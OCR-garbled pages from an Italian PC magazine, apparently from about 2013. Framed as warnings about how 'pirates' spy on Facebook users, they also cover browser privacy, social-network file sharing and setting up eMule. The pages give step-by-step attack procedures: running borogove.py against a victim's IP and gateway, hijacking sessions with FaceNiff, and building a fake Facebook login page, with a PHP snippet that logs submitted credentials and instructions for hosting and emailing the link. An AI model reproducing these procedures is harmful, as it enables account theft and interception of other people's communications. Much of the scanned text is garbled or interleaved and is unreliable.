Al termine dell’installazione lasciamo atti¬ 
va l’opzione Display Getting Started e 
clicchiamo Finish. Avviamo Internet Explorer, che 
ci chiederà di abilitare il plug-in appena installa¬ 
to. Cliccando Abilita in basso nella finestra com¬ 
parirà una sezione dedicata all'analisi del flusso 
dati in transito. 


• Q ■ • 


< id =-» 48 1 » jJJ«■• iiMw* *, 



-r ErnOÉrg 




Contente: 


cTjUNL Wlm: 

E fcrtàevoocnpt 

E 

E «e*tr 

B! 

-i 

m 

-i 

Reflue* XMen contar: 

Reeufls: 


Re*port*e headere contar: 

B 206 

. ; 


0XJ 

0304 

3j 

’C Coment contar»: 

0401 

- : 



Lsss-J 


Registriamo il flusso dati 

Cliccando Record si attiverà la modalità 
di registrazione dei dati. Appena questa 
risulterà attiva digitiamo una URL nella barra 
degli indirizzi e accediamo al sito. Al termine dei 
caricamento della pagina clicchiamo Stop per 
sospendere la registrazione: per iniziare sono 
sufficienti pochi dati. 


Uno sguardo d’insieme 

g I Nella parte alta dell’area di lavoro di HTTP- 
1 Watch troviamo, oltre ai pulsanti con cui 
abilitare le diverse funzioni, anche l’elenco degli 
elementi richiesti al server. Cliccando su ognu¬ 
no apparirà la descrizione completa dell'oggetto. 
Nella sottosezione Content ne verrà visualizzato 
il contenuto. 


fccson so oorfertn or. Stereo rtems: 9 -tot -tghtyi? Cuciti 

▲ I filtri giusti 

Il traffico catturato, anche se relativo a 
una sola pagina, è molto consistente: per 
orientarsi filtriamo i risultati. Clicchiamo Filtere, 
nella finestra di dialogo, spuntiamo Enable filte- 
ring, Contents is e tutti gli elementi che ci inte¬ 
ressano. Dando OK solo i tipi selezionati saran¬ 
no evidenziati. 


I MESSAGGI DELLA CHAT DI FACEBOOK LI LEGGONO TUTTI 

a i : a.: AAAArm aI rnAiAl , a nm m k a r\st rarl-l i n il v n rn Pprpssprp A t) ri I ì cntÌOrl s/IUtGlTICt. RiC6fC3 diret" IP d3 colf 


Anche i nostri dati di accesso al social 
network possono essere in pericolo 
ogni qualvolta ci «rileghiamo a In¬ 
ternet. I pirati, infatti, sono in grado di 
leggere anche le nostre conversazioni 
e per farlo devono semplicemente comando startx per ritrovarsi davanti 
usare uno script pronto all'uso e già alla sua interfaccia grafica. A questo 
integrato nella distribuzione BackTrack punto, il pirata si collega a Internet 
Linux, scaricabile gratuitamente da e avvia il browser Firefox dal menu 


www.backtrack-linux.org. Per essere 
usata, inoltre, la distro non necessita 
neanche di installazione: basta infatti 
masterizzare la ISO su un DVD, avviare 
il computer da questa unità e lanciare il 


Applications/lnternet. Ricerca diret 
tamente su Google lo script borogove. 
py e ne avvia il download, salvando il 
file nella Home del sistema. Al termi¬ 
ne, apre il file appena scaricato utiliz¬ 
zando un editor di testo (ad esempio, 
Gedit) per scoprirne la sintassi d'uso. 
Dovrà infatti indicare l'interfaccia uti¬ 
lizzata ( Ethernet o Wi-Fi), l'indirizzo 


IP da colpire e il Gateway della LAN. 
A questo punto, non deve fare altro 
che avviare una nuova sessione del 
Terminale e far partire lo script (ad 
esempio, python borogove.py ethO 
192.168.1.12 192.168.1.1). Tutte le 
eventuali conversazioni su Facebook 
della vittima verranno così mostrate 
in chiaro. 
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DOCUMENTI, FOTO E VIDEO PRIVATI... TUTTI IN CHIARO DA REMOTO 

Tra le informazioni che si possono flussi di dati sono facilmente leggibili. Windows utilizzano la libreria open e qualora transitino immagini GIF 
reperire in Rete con un'operazione Ovviamente questo discorso non source WinPcap (scaricabile dal Win o JPEG, ma anche video in formato 
di sniffing da remoto (quindi anche vale per i protocolli cifrati, come ad CD-Rom, nel file NetworkMiner.zip ). MPEG, questi dati verranno pron- 
dal di fuori di una rete locale LAN), ci esempio l'SSL, che quindi sono molto Una volta installata, consente di prò- tamente registrati sul disco rigido 
sono gli indirizzi dei siti Web che la sicuri (stiamo parlando del protocol- cedere con l'estrazione dei dati grezzi della spia. Il percorso in cui i file sono 
vittima ha visitato, le parole chiave lo HTTPS che è quello che si usa, ad (detti RAW) che transitano sulla pe- archiviati è mostrato all'interno della 
che transitano dal suo computer (e esempio, per le transazioni commer- riferica di rete selezionata per il con- stessa finestra del programma, nel- 
quindi non solo termini di ricerca, ma ciali come i pagamenti on-line o per trollo. Oltre a WinPcap è necessario la colonna Directory: tipicamente è 
anche password e numeri di carte l'accesso ad alcune Webmail). utilizzare un programma di cattura C:\Users\NomeUtente\AppData\ 

di credito) o il contenuto dei campi e analisi dei dati, come VLADescu o Local\Temp\vlad, accessibile dopo 

compilati nei vari form on-line, sino METTIAMOCI IN ASCOLTO NetworkMiner(entrambi nell'archivio aver attivato l'opzione Cartelle, file 

alle immagini scaricate da Internet. Per iniziare a intercettare il traffico NetworkMiner.zip, scaricabile dal e unità nascosti dal menu Strumenti/ 
Questa estrazione è possibile poiché come un vero hacker servono ben Win CD-Rom), il cui utilizzo è presso- Opzioni cartella/Visualizzazione di 
la maggior parte dei protocolli che pochi strumenti. Per catturare i pac- ché identico. Una volta che VLADescu Esplora risorse). Facendo doppio clic 
usiamo per la navigazione, primo fra chetti di rete a basso livello molti si è messo in ascolto, tutto il traffico sul documento preview.html si potrà 
tutti l'HTTP, sono in chiaro e quindi i dei programmi per lo sniffing su generato sulla rete verrà analizzato richiamare il report creato dallo snif- 

fer. In questo file HTML sono elencati 
e visualizzati tutti i file multimediali 
acquisiti e per ognuno di essi viene 
mostrato l'indirizzo IP del computer 
che ha effettuato la richiesta e il ser¬ 
ver a cui questo si è connesso! 


■ Ecco il risultato di uno sniffing di 
rete eseguito con VLADescu: nel report 
è possibile leggere le informazioni 
di navigazione dell'utente e anche 
visualizzare un'anteprima delle immagini 
scaricate dal Internet. 



100 % 

ANONIMI 


Il browser non lascia tracce 


Per evitare che qualcuno intercetti i dati registrati dal nostro browser è opportuno rimuoverli e attivare una modalità 
di navigazione più rispettosa della privacy. Ecco i passaggi fondamentali per Internet Explorer 




Le opzioni giuste 

■J Per eliminare i file registrati sul disco loca- 
le bisogna accedere al modulo di gestione 
delle opzioni di Internet Explorer. Per richiamar¬ 
lo premiamo Alt+X oppure clicchiamo sull’icona 
con l’ingranaggio nella barra degli strumenti e poi 
richiamiamo la voce Opzioni Internet (è la penul¬ 
tima). I moduli che ci interessano si trovano nella 
scheda Generale. 


* Gestiamo la cronologia 

2 I Dalla sezione Cronologia esplorazioni , 
cliccando il bottone Elimina si accede 
alla pagina in cui decidere quali elementi rimuo¬ 
vere dal disco. In funzione delle nostre esigenze 
di privacy potremmo decidere di spuntare tutte 
le voci o di effettuare cancellazioni selettive. Pre¬ 
mendo infine il tasto Elimina tutti i dati verranno 
spazzati via. 


^ Eliminazione automatica 

3 ! Nella sezione relativa alla cronologia pos- 
/ siamo eventualmente spuntare Elimina la 
cronologia al momento di uscire per fare in modo 
che Internet Explorer provveda in maniera auto¬ 
noma alla cancellazione delle URL da noi visitate 
nella sessione attuale di navigazione. In alternati¬ 
va, attiviamo la Modalità di navigazione anonima 
(vedi box sottostante). 
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Facebook sei spiato | 



Cosa ci 
occorre 


A J| n 

ry li è 

■Mi) 


APP PER ANDROID 

FACESNIFF 

Quanto costa: Gratuito 
Sito Internet 

http^/sinfu landrxHd.com 


rrivare alla scoperta di qualsiasi password 
ormai quasi un gioco da ragazzi, anche 
ler il pirata alle prime armi. Oggi infatti 
sono sufficienti pochi secondi per mettere a 
repentagl io la sicurezza di ogni utente connesso 
a Internet. E per farlo, basta anche uno smart¬ 
phone Android. Grazie ad alcune applicazioni 
sviluppate per questa piattaforma, come ad 
esempio FaceSniff, il pirata è in grado di loggarsi 
con identità altrui su Facebook come se avesse 
i veri username e password. Usare Facesniff è 
semplice e ciò deve far riflettere sulla poca si¬ 
curezza applicata dagli stessi fornitori di servizi 
on-line. Basterebbe, infatti, evitare di rilasciare 
cookie per garantire quella poca privacy in più 
spesso essenziale a tutti gli ignari internauti. 

Accessi non autorizzati 

Un’altra tecnica utilizzata per rubare i dati per¬ 
sonali altrui prende il nome di Sessionhijacking 
e consiste nel dirottare i cookie rilasciati dai siti 
verso altri indirizzi IP della stessa rete, consen¬ 
tendo un'autenticazione multipla. Ciò avviene 
in ogni rete Wi-Fi, sia essa libera o crittografata 
da password di tipo WPA2. In poche parole, 
il pirata fa in modo che un utente connesso a 
Internet e che cerca di raggiungere un sito Web 
(ad esempio Facebook) in realtà ne visualizzi un 
altro, identico all’originale ma realizzato dal 
pirata stesso. Quando nome utente e password 
vengono inseriti, il gioco è fatto: tramite e-mail 
o via FTP, il pirata riceve i caratteri digitati! Più 
semplicemente, però, un eventuale malinten¬ 
zionato può adottare la pratica del social engi¬ 
neering e inviare una serie di e-mail cercando di 
convi ncere chi legge a cliccare sul link riportato, 
facendogli credere di trovarsi all’interno del 
vero sito Web, mentre in realtà si tratta di quello 
fasullo. Analizziamo, quindi, quali sono i passi 
che compie il pirata per creare la finta home 
page di un sito come Facebook e raccogliere 
i dati personali di tutte le sue ignare vittime. 


Facebook 
sei spiato 

Un semplice smanettone può 
bucare il tuo profilo. Ti facciamo 
vedere quanto è facile 




Facebook sei spiato 


Pirati del 


Q Attacco al social network 


Basta una semplice applicazione Android per entrare negli account degli altri utenti. L’attacco avviene sfruttando 
una rete Wi-Fi ed è piu semplice di quanto si possa pensare! Diamo uno sguardo alla procedura. 


Impostazioni privacy 


Cancella cache 

Cancella i contenuti e i database 
memorizzati localmente nella caci - 


Cancella cronologia 

Cancella la cronologia di esplorazic 
del browser 





Unknown 

id: 1630644354 

Unknown 

id: 1613463422 


Pulizia nel browser 

■J | Se il pirata accede al proprio account 
Facebook anche dal telefonino, avvia 
il browser integrato nel suo smartphone 
Android e si sposta nel menu Impostazioni. 
Da qui, ripulisce la Cronologia di navigazione, 
Cancella i cookie e anche tutti i dati memo¬ 
rizzati in cache. 


^ FaceSniff in azione 

2 | Il pirata si sposta ora sul PC e cerca 
sul Web il pacchetto FaceNiff-1.9.4- 
Ripper-Release.apk. Lo trasferisce sullo 
smartphone e procede alla sua installazio¬ 
ne. A questo punto, si connette ad una rete 
Wi-Fi ed avvia FaceSniff per tappare poi sul 
grande pulsante rosso. 


Obiettivo raggiunto 


3 j La ricerca di una potenziale vittima 
ìmmJ ha inizio: se qualche altro utente con¬ 
nesso alla stessa rete senza fili è connesso 
a Facebook, apparirà nella lista dopo soli 
pochi secondi. Al pirata basta tappare su 
uno dei nomi visualizzati per loggarsi con i 
dati dell'ignaro utente. 



Un clone davvero perfetto 


Ecco come il pirata informatico crea una home page fasulla di Facebook e, sfruttando tecniche di ingegneria 
sociale, riesce a raccogliere i dati personali di accesso al social network delle sue prede! 


Scarica il Fakelogin-Facebook 

t; ovviamente da ouanto avrete capito, è tutto GRAT1S1 

ferisco che quel soldi li investano per comprare casa grazie ad un pres 



« A P ri * Salva H * Annuita I 

•post.php X 
<?php 

Autore : Pasquale Scarpati di « www.nsnscan.co 
Script : Fakelogin Facebook 

••****•••**••••***•»*•••***•*/ 

header ( Location;htt p://it - lt.facebook.com/' ); 

Shandle * fopenCdati.txt", "a"); 

♦oreachls POST as Svariatile => Svalue) { 
fwritelShandle, Svariatile); 
fwrite(Shandle, *-■ ); 
fwriteIShandle, Svalue); 
fwriteIShandle, ■\r\n-); 



^ Tutto il necessario 

■| Jll pirata informatico si collega alla 
SmmJ pagina http://google/LQM2D ed effet¬ 
tua il download di una falsa home page di 
Facebook già pronta all'uso. Al termine del 
download estrae il contenuto dell 'archivio 
compresso in formato ZIP sul Desktop del 
suo computer. 


Tutto in un file 

2 -IH pirata accede alla directory nel- 
la quale ha scompattato l'archivio e 
apre il file post.php con un editor di testo 
non formattato (ad esempio Blocco Note ) per 
assegnare un nome al file nel quale verran¬ 
no memorizzati i dati delle vittime (nel caso 
in figura dati.Prf). 


j Home page fasulla 

3 | Al pirata non resta quindi che carica- 
1 re i tre file scompattati nel suo spazio 
Web (ad esempio uno gratuito con Altervista) e 
inviare un'e-mail con il link da raggiungere: la 
pagina visualizzata, però, non è quella vera di 
Facebook, quindi occhio all’indirizzo mostrato 
nel browser! 
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Il file sharing diventa social 



le sharing 
«ita social 


Addio ai siti di file hosting. Film 
e musica ora si scaricano dai 
social network 

S e fino a qualche tempo fa i siti di file 
hosting erano indiscutibilmente il 
canale preferito da pirati e internauti 
per condividere contenuti su Internet, ne¬ 
gli ultimi mesi non lo sono più, soprattutto 
dopo il caso della chiusura di Megaupload 
e il giro di vite voluto dalle Forze dell’Or¬ 
dine in seguito alle denunce di case di¬ 
scografiche e major cinematografiche. La 
nuova tendenza è infatti quella di sfruttare 
i social network per il file sharing. Anche 
in questo caso la condivisione dei file può 
avvenire in modo lecito o illecito, a secon¬ 
da dell’uso che gli utenti fanno dei servizi 
e degli strumenti messi a disposizione 
dalla Rete. Di seguito vedremo come tutto 
questo è possibile, senza dimenticare che 
la libertà sul Web è una risorsa preziosa e 
va utilizzata nel rispetto delle regole: sca¬ 
ricare e condividere materiale protetto da 
diritti d’autore è illegale e chi lo fa rischia 
sanzioni anche molto pesanti. 

Pirateria informatica 
in salsa social 

Tra i siti presi d'assalto dai pirati digitali 
c’è ad VK (dalla parola "Vkontakte’’, ovvero 
"In contatto"), un clone di Facebook nato 
nel lontano 2006 in Russia. In poco tempo è 
divenuto la community più frequentata in 
Europa grazie al fatto che gli utenti posso¬ 
no scambiarsi tra loro file di ogni genere. 
Molti pirati, infatti, sfruttano le sue fun¬ 
zionalità per condividere contenuti digitali 
come brani musicali e film completi, dagli 
ultimi successi in sala a produzioni poco 
commerciali. Sebbene il sito supporti solo 
l’upload e lo streaming dei contenuti, ado¬ 
perando Video DownloadHelper, un plug- 
in di Firefox, riescono a scaricare i brani 
MP3 e i video direttamente sul proprio 
computer per visualizzarli anche off-line 
o trasferirli su qualsiasi altro dispositivo. 


Cosa ci 

occorre y^/ 

SOCIAL NETWORK 

VK 

Quanto costa: Gratuito 
Sito Internet: 

www.vk.com 


SITO DI 

MICR 0 BL 0 GGING 

TWITTER 

Quanto costa: Gratuito 
Sito Internet: 

www.twitter.com 


SERVIZIO WEB DI 
CONDIVISIONE FILE 

TWILESHARE 

Quanto costa: Gratuito 

Sito Internet 

http://twileshare.com 




Il file sharing diventa social | 


Pirati del PC#* 


□ Il Facebook preferito dai pirati 

VK è un social network che grazie all’interazione con la rete Torrent consente agli utenti iscritti alla 
community di scambiare file di ogni genere ed avere film e brani musicali sempre a portata di clic. 
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▲ Il sito usato dai pirati 

■| I II pirata awia il browser e si collega al sito 
w www.vk.com. L’interfaccia di VK è mini¬ 
malista e per accedere il pirata crea un account 
gratuito seguendo la procedura guidata. Una vol¬ 
ta dentro trova sulla sinistra un pannello con varie 
sezioni tra cui / Miei Video e La Mia Musica. 


Video in streaming sul Web 

2 Per trovare un filmato il pirata va nella 
w sezione / Miei Video e digita il titolo nel 
campo di ricerca in alto. Se il film appare tra i 
risultati, cliccandoci su ne avvia la riproduzione in 
streaming. Cliccando su Aggiungi ai Miei Video 
può inoltre salvarlo tra i preferiti. 


Un iukebox personale 

2 j In modo analogo il pirata cerca bra- 
C U ni MP3: sul sito è possibile trovarne di 
qualsiasi cantante o genere. Toccando su Play 
ne avvia l'ascolto mentre con + può aggiunge¬ 
re il brano all'elenco di quelli presenti in La Mia 
Musica , creando così una playlist personale. 



▲ L’estensione asoiratutto 

4 1 Per scaricare brani musicali e video sul PC così da riprodurli in 
modalità off-line, il pirata usa un plug-in per Firefox come Video 
DownloadHelper scaricabile dal sito www.downloadhelper.net. Una volta 
installato, compare un’icona a sinistra della barra degli indirizzi nel browser. 


Ora comincia il download 

A questo punto il pirata va su VK e trova il video o il brano da sca¬ 
ricare. Avviata la riproduzione, clicca sull’icona di Video Download 
Helpere sceglie se scaricare il file (audio o video) nel formato originale o 
convertirlo in uno compatibile con altri dispositivi. 


VK, quindi, può essere considerato a tutti 
gli effetti il nuovo eMule per il filesharing 
multimediale. 

Twitta e scarica! 

Il fenomeno del file sharing ha finito per 
coinvolgere anche Twitter. Sebbene il sito 
di microblogging consenta solo di inviare 
brevi messaggi di 140 caratteri, gli utenti 
hanno trovato il modo di utilizzarlo per 
scambiare file senza finire neU’illegalità. 
Sfruttando i link testuali sono nati infatti 
diversi servizi che permettono di veicolare 
attraverso la rete di microblogging tan¬ 


tissimi contenuti come immagini, video, 
pagine Web e altro ancora. Tra questi c’è 
anche TwileShare, un’applicazione Web 
che si appoggia a Twitter e che consente 
di condividere file con i propri amici. Ogni 
utente ha a disposizione 1 GB di spazio 
per condividere immagini, documenti di 
Word, PDF e altre tipologie, ma sono vietati 
file audio e altri contenuti che potrebbero 
essere illegali. Un sistema di condivisione, 
quindi, nato per lo scambio di materiale 
lecito che però impone il limite che ogni 
file caricato abbia una dimensione mas¬ 
sima di 20 MB. 


File sharing direttamente 
dal browser 

Grazie alla diffusione massiccia dei so¬ 
cial network, dunque, oggi è possibile 
condividere sempre e ovunque docu¬ 
menti, musica, immagini e video senza 
dover installare alcun programma sul 
computer. Sarà infatti sufficiente aprire 
il browser (In ternet Explorer, Firefox o 
Chrome) per uploadare e scaricare i file: 
così anche al mare, in vacanza e ovun¬ 
que ci troviamo con pochi clic avremo 
subito a disposizione quello che ci serve. 
Molto comodo, vero? ► 
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Il file sharing diventa social 



http://facebook2zip.com 

Un servizio Internet 
gratuito che permette 
di scaricare interi album 
fotografici da Facebook. 
L'album, relativo al nostro 
profilo oppure a quello dei 
nostri amici, verrà com¬ 
presso in un file ZIP 
e quindi salvato 
sul computer. 

http://3dfile.io 

Questo sito consente 
di condividere file in 
3D. Supporta numerosi 
formati di file tra cui STL, 
PLY, 3DS e OBJ. Il servizio è 
gratuito e consente 
di uploadare file grandi 
fino a 10 MB e non più 
di 10 alla volta. 

www.joomeo.com 

Uno spazio Web privato 
e gratuito in cui è possibile 
salvare, condividere 
e visualizzare foto e video 
in alta definizione. Il sito 
permette inoltre di creare 
in pochi clic album foto¬ 
grafici e presentazioni. 

https://mybackupbox.com 

Questo servizio Online per¬ 
mette di effettuare 
il backup di un intero sito 
Internet e di trasferire 
i propri file da un doud 
Storage all'altro 
(ad esempio da Google 
Drive a SkyDrive). 


I Scaricare con un tweet 

Utilizzando il servizio gratuito on-line TwileShare possiamo uploadare e condividere 
tramite Twitter con i nostri amici fino a 1 GB di dati in modo veloce e sicuro. 


o 

1 TwileShare 


Share files on Twitter 

pfvenvj -Tho ivo Guide pel* 

T«woSl'aro a a fra* wwce ina! 
aiKwv» fou lo maro Ma» on 

Twma» Upioad ano maro 
any*r>rg »om «-ago* oocranant» 

W Indio? temer limo 201 ? ali 

peatv 



^ Un upload facile facile 

Ora possiamo uploadare e condividere il nostro pri¬ 
mo file. Cucchiamo su SELECT FILE e scegliamo il file 
(foto, PDF, documento Word, ecc.) da inviare agli amici. Il file 
può avere una dimensione massima di 20 MB. Inseriamo un 
messaggio di massimo 110 caratteri e premiamo SHARE IT. 



Visualizzare tutto on-line 

I nostri amici potranno visualizzare il link del file con¬ 
diviso: basterà cliccarci sopra per aprirlo nel browser. 
TwileShare dispone anche di un visualizzatore di documenti 
on-line. Per le immagini basta invece cliccare sull’anteprima 
per aprirle a schermo intero. 


usare il tuo account? 


• vwere cru scout e seguire nuove persone 

• Aggwmare # tuo prono 

• PubMure Tacci per te 


C Ricontami Danenteato la pcsswonr» 


- Cantei and nfcrn le app 


Autorizza app 


No, grazie 



Tutto in 10 secondi 

■| I Avviamo il browser e andiamo all’indirizzo http://twile- 
v —J share.com. Per utilizzare il servizio di condivisione non 
serve alcuna registrazione ma basta utilizzare l’account di Twit¬ 
ter. Clicchiamo sul pulsante in alto a destra START SHARING 
FILES IN 10 SECONDS per effettuare il login. 


Installiamo l’ano 

2 ] Quando si apre la pagina Vuoi autorizzare TwileShare 
‘ a usare II tuo account? inseriamo l’indirizzo e-mail e 
la password del nostro account Twitter e premiamo Autorizza 
app . Se non abbiamo un account Twitter, possiamo ottenerlo 
cliccando sul link Iscriviti in alto a destra. 
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^ Ecco il iink del file 

4 j Al termine del caricamento del file compare il mes- 
w saggio Your file has been uploaded con il link da cui 
scaricarlo. Se abbiamo uploadato un file non consentito (ad 
esempio un MP3) comparirà invece il messaggio filetypeyou 
are attempting to upload is notallowed. 


Your files 


Come gestire io spazio 

TwileShare mette a disposizione 1 GB di spazio: la bar¬ 
ra Usage indica quanto ne abbiamo già utilizzato. In 
Your Files possiamo visualizzare i file già uploadati ed even¬ 
tualmente cancellarli per liberare spazio. In Settings, infine, 
possiamo esportare i file o eliminare l’account. 
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Tutte le informazioni di cui hai 
bisogno quando sei in viaggio 


I punti di interesse 
intorno a te: cosa 
visitare, dove mangiare, 
dormire e trascorrere 
ii tempo libero in ogni 
parte del mondo. 


Gli oltre 20.000 
diari di viaggio 

e i consigli della 
più grande 
community 
di viaggiatori. 


E inoltre... le Foto, 
i Video, il Meteo 

e la possibilità 
di chattare con 
gli altri Turisti 
per Caso! 


Scarica l'App ufficiale 

di Turisti per Caso per il tuo Smarphone 


Per avere sempre a portata 
di mano i consigli della 
community di viaggiatori 
più grande del Web e 
sapere cosa fare e cosa 
vedere ovunque ti trovi! 























C' Pirati del PC 


eMule 2013: nuova versione! | 


ESCLUSIVA ASSOLUTA! 

eMule 2013 

Installala subito e metti alla prova le sue incredibili 
funzioni. Non te ne pentirai! Parola di Win Magazine 


Cosaci 
occorre 


ns 


CLIENT P 2 P 

Win-eMule 2013 

Lo trovi su: *?CD 


SOFTWARE COMPLETO 


Sito Internet 

www.winmagazine.it 


SOFTWARE ANT 1 VIRUS 

AVAST 6 

Lo trovi su: 0 CD 

€—USE» 

Sito Internet: 

www.avast.com 


C os’è meglio utilizzare per scari¬ 
care dai canali del file sharing: 
eMule o pTorrent? Puntare sulla 
stabilità e immediatezza d’uso del pri¬ 
mo o sulla rapidità di download del 
secondo? L’ideale, ovviamente, sarebbe 
usarli tutti e due per sfruttarne appie¬ 
no le caratteristiche migliori dell’uno 
e dell’altro. Ed è proprio quello che 
permette di fare il nostro Win-eMule! 
La versione 2013 del Mulo personaliz¬ 
zato Win Magazine, infatti, permette 
di avviare pTorrent con un semplice 
clic direttamente dalla sua interfaccia 
principale! 


Ricerche mirate 

Le novità di Win-eMule 2013, comun¬ 
que, non finiscono certo qui! In questo 
aggiornamento di versione abbiamo 
integrato anche un modulo ottimizzato 
per la ricerca di contenuti che, grazie ad 
una lunga lista di parole chiave pronte 
all’uso, permette di trovare velocemen¬ 
te proprio quello che stavamo cercando. 
Sarà sufficiente indicare il tipo di conte¬ 
nuto che ci interessa, scegliere le parole 
chiave giuste (ad esempio relative alla 
risoluzione di un film piuttosto che 
al suo contenuto audio) e avviare la 
ricerca per filtrare automaticamente i 


risultati dal materiale inutile e dai tanti 
fake sempre molto diffusi sui server 
eDonkey. Della dotazione standard del 
programma continuano poi a far parte 
anche l’antivirus Avast Personal Edition 
che permette di monitorare tutti i nostri 
download, il modulo "salta-code” perla 
configurazione automatica del router 
e l’elenco aggiornato dei server sicuri 
a cui connettersi per scaricare in tutta 
sicurezza. Una volta installata la nuova 
versione del Mulo e tutti i programmi 
aggiuntivi che troviamo sul Win CD¬ 
ROM, non rimane che avviare i nostri 
download! 


TOOL DI 

CONFIGURAZIONE 

ROUTER 

SIMPLE P0RT 
F0RWARDING 

Lo trovi su: •'CD 


SOFTWARE COMPLETO 


Sito Internet: www. 

simpleportforwarding. 

com 


CLIENT P 2 P 

pTORRENT 

Lo trovi su: •'CD 


SOFTWARE COMPLETO 


Sito Internet 

www.utorrentcom 


□ Il nuovo Mulo pronto all’uso 

Grazie ad un wizard che ci guiderà passo passo nei passaggi più complessi, l'installazione di Win-eMule 2013 
è semplicissima. L’unica accortezza è quella di disinstallare le vecchie versioni prima di procedere. 



Awno di 




Windows Firewall ha bloccato alcune funzionalità d« 


WWdOKS FrtnM ha btocc*to dar* fjwndù d n titte Ir ree pubtAd 


Nome: 

on: 


edziorwnaster Jt/ 
C:l|XOgr«n Ah (*SS)V«n magasse 


Congene • (HA Pia d cawnn *. guest» r*t: 

H private, ad e« wpc rete dome st ica o ai 


ffjftet mettete, ad eierapw n aeroport e intemei cafc (scelta non «n ata ti 
perdié I Mh d sa reità d queste rettp ~ 



^ La cartella d’installazione 

Scompattiamo l’archivio winemule.zip 
(scaricabile dal Win CD-ROM) ed ese¬ 
guiamo il file Installer.msi contenuto al suo 
interno. Cucchiamo Avanti netta prima scherma¬ 
ta della procedura guidata, lasciamo inalterata 
la cartella d'installazione predefinita e procedia¬ 
mo con Avanti. 


Firewall, ti presento il Mulo 


2 s Procediamo cliccando Avanti per awia- 
re la procedura d’installazione di Win- 
eMule. Al termine, cucchiamo Chiudi. A questo 
punto, awiamo il software dal menu Start/Tut¬ 
ti i programmi/Win-eMule. Se appare un awi- 
so del firewall, premiamo Consenti accesso per 
proseguire. 



Moduli aggiuntivi già attivi 


3 Dall'interfaccia principale di Win-eMule 
clicch amo su Preferenze. Nella scher¬ 
mata che appare, selezioniamo Win-eMule 
nell’elenco a sinistra: nei rispettivi campi, sele¬ 
zioniamo le cartelle dell’hard disk sul nostro com¬ 
puter in cui abbiamo già installato Avast Antivirus, 
pTorrent e Simple Port Forwarding. 
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Pirati del PCC^ 


a Porte aperte al file sharing 

Per sfruttare tutta la velocità di download di Win-eMule dobbiamo aprire le porte TCP eUDP 
del router. Con Simple Port Forwarding possiamo farlo in maniera completamente automatica. 



▲ Scegliamo il router giusto 

1 | Dall’interfaccia principale di Win-eMule clicchiamo sul 
J pulsante ID Premium per awiare Simple Port Forwar¬ 
ding, che avevamo precedentemente installato, Selezioniamo 
Italiano in basso a sinistra, da Router cerchiamo il modello in 
nostro possesso e clicchiamo su IP router. 


I parametri di accesso 

In Gateway controlliamo che l’indirizzo IP del router (nel 
vZJ caso di un Alice Pirelli Gate è 192.168.1.1) sia corretto. 
Inseriamo Usemame e Password di accesso al dispositivo. Nel¬ 
la finestra Elenco di controllo clicchiamo Applica ora in Scegli 
quali porte è necessario riderezionare. 



^ Prendiamo la porta giusta 

2 ■ Nella nuova schermata clicchiamo Aggiungi persona- 
*Z.J le-, in Nome scriviamo eMuiel e da Tipo selezioniamo 
TCP. In Porta iniziale/finale scriviamo la porta TCP indicata nel 
menu Preferenze/Connessione/Connessione/Porta del Client 
di Win-eMule. Volendo, possiamo sceglierne anche una diversa. 


Il Mulo a briglia sciolta 

4 Nel campo Indirizzo IP immettiamo quello che il rou- 
\U ter ha associato al PC su cui è installato Win-eMule 
(ad esempio, 192.168.1.2) e clicchiamo Aggiungi. Ripetiamo la 
procedura per la porta UDP. in Tipo scegliamo UDPe digitiamo 
la porta 62415 indicata in Win-eMule (Passo B3). 



IL PROVIDER 
BLOCCA IL P2P 

Tra le applicazioni Web, 
il file sharing è uno di 
quelli che consuma più 
banda di connessione. 
Per evitare che gli uten¬ 
ti che non usano questo 
tipo di applicazioni 
raggiungano velocità di 
navigazione più basse, i 
maggiori provider han¬ 
no deciso di applicare 
filtri sul P2P. L'ultimo, 
in ordine di tempo, a 
prendere una simile de¬ 
cisione è stata Telecom 
Italia (www.telecomi- 
talia.it). Con un laconico 
comunicato stampa 
(www.winmagazine.it/ 
link/1624), il provider 
fa sapere che "potrà 
intervenire sulle appli¬ 
cazioni che comportano 
un maggior consumo di 
risorse direte (Peerto 
Peer, file sharing ecc) 
limitando la banda 
dedicata a queste 
ultime”. I filtri saranno 
applicati solo in singole 
località e soltanto nelle 
ore di maggior traffico: 
non pregiudicheranno 
l'uso delle applicazioni 
di file sharing, ma ga¬ 
rantiranno anche nelle 
ore di punta una banda 
sufficiente per usare 
agevolmente servizi 
come l'e-mail e lo strea¬ 
ming diYouTube. 



^ Adesso tocca a uTorrent 

g I Dall’interfaccia principale di Win-eMu- 
w le clicchiamo su Sblocca uTorrent per 
avviare il Client che avevamo già installato sul PC. 
Accediamo al menu Opzioni/lmpostazioni, spo¬ 
stiamoci nella sezione Connessione e annotiamo 
il numero indicato in Porta usata per la connes¬ 
sione in entrata. 


* Una porta dedicata 

0 I Torniamo in Simple Port Forwarding, clic- 
chiamo + in basso a destra e poi Aggiun¬ 
gi personale. In Nome digitiamo uTorrent, in Por¬ 
ta iniziale/finale inseriamo il numero annotato al 
passo precedente (nel nostro caso, 14576 ) quindi 
clicchiamo su Aggiungi e chiudiamo Simple Port 
Forwarding. 


IL MULO È MOBILE! 

In Win-eMule 2013 è presente la funzione 
eMula da cellulare che permette di controlla¬ 
re il Client anche da remoto, usando un PC o lo 
smartphone connessi a Internet. Per attivarlo, 
clicchiamo Preferenze, spostiamoci in Con¬ 
nessione e selezioniamo Web Server, a destra, 
in Generale spuntiamo Abilitato e scegliamo 
una Password di accesso al server. Spuntiamo 
Abilitato anche in Ospite (Guest) e scegliamo 
anche qui la Password che useremo per effet¬ 
tuare l'accesso da remoto. Confermiamo con 
OK. Torniamo in Win-eMule e in Log prendiamo 
nota dell'indirizzo associato al Web server: ad 
esempio http://l5l.l3. 182.185:4511.ta questo 
indirizzo che dovremo collegarci per controllare 
i download di Win-eMule anche da remoto! 




































































Pirati del PC 


| eMule 201 3 : nuova versione! 


9 P2P al riparo dai virus 

Win-eMule 2013 è installato! Prima di iniziare ad usarlo, è opportuno configurare correttamente il modulo 
antivirus e attivare il controllo automatico dei nostri download. Ecco come procedere. 



1 


Sicuri con un clic 

In Win-eMule cucchiamo sul pulsante 


Virus 100% Free che troviamo in alti 
nella barra strumenti. Verrà avviata l’ultima ver 
sione di Avast Antivirus, che avevamo preceden 
temente installato nel PC. Dalla sezione PRO 
TEZIONI IN TEMPO REALE selezioniamo Pro 
tezione P2P 



Download sotto controllo 


2 Nella schermata che appare clicchia- 
mo Impostazioni Avanzate. Verifichia¬ 
mo che siano spuntate le voci eDonkey , eMule 
e uTorrent. Spostiamoci nella sezione Azioni, 
